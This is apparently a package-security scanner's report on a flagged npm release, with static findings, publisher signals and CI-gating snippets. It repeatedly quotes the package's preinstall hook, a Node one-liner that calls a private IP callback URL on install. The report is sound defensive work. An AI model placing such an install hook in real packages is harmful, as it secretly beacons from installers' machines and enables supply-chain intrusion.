Package evidence

[email protected]

Install Lifecycle Remote Or Exec: preinstall="node -e \"require('http').get('http://10.107.121.85:8000/callback_node')\""

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published: 3
First published: Jun 2026
Publisher: rituparnabhattacharyya

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Inspect tarball Add to CI gate

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'

Publisherrituparnabhattacharyya

Artifact bytes272

Previous version100.0.1

Published2026-06-12T09:25:56.750Z

SHA-25673fe3d055135cd710696bbca309c39cac21e35a157f839da09445131c2a2159c

Why flagged

What the scanner saw

Install Lifecycle Remote Or Exec: preinstall="node -e \"require('http').get('http://10.107.121.85:8000/callback_node')\""

1 candidate cluster(s) currently reference this release.

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

available

high

5h agoLast checked

highRisk

45Score

100.0.2Version

Status history (1 event)

new → available5h ago · risk high · score 45 · status changed

Related candidates

Linked campaigns and clusters

Publisher / release actor burstactive

rituparnabhattacharyya

16 members · evidence strength 78

Publisher / release actor burstcandidate

rituparnabhattacharyya

16 members · max score 85

Evidence

Static findings

4 static · 0 from release diff · showing high-signal first.

Severity	Kind	Path	Detail	Points
high	Install Lifecycle Remote Or Exec	package.json	preinstall="node -e \"require('http').get('http://10.107.121.85:8000/callback_node')\""	30
high	New Account With Lifecycle Hook	package.json	package first published 0 day(s) ago, 3 total version(s), has lifecycle hook	25
medium	Suspicious Publish Context	manifest	{"package_age_days":0,"publisher":"rituparnabhattacharyya","burst_same_day":2,"burst_week":2,"lure":null,"version_anomaly":true}	10

Show all 4 findings (low-signal and informational)

Severity	Kind	Path	Detail	Points
high	Install Lifecycle Remote Or Exec	package.json	preinstall="node -e \"require('http').get('http://10.107.121.85:8000/callback_node')\""	30
high	New Account With Lifecycle Hook	package.json	package first published 0 day(s) ago, 3 total version(s), has lifecycle hook	25
medium	Suspicious Publish Context	manifest	{"package_age_days":0,"publisher":"rituparnabhattacharyya","burst_same_day":2,"burst_week":2,"lure":null,"version_anomaly":true}	10
low	Install-time lifecycle script	package.json	preinstall="node -e \"require('http').get('http://10.107.121.85:8000/callback_node')\""	5

Manifest

Package metadata

Scripts1

preinstallnode -e "require('http').get('http://10.107.121.85:8000/callback_node')"